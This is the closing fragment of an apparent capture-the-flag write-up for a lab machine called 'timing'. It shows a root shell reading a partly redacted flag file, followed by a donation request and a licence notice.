Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


root@timing:~# 
root@timing:~# cat root.txt 
f6ab...1af0

with checking the

Hi there 👋 Support me!

Life is an echo—what you send out comes back.

Donate

This post is licensed under CC BY 4.0 by the author.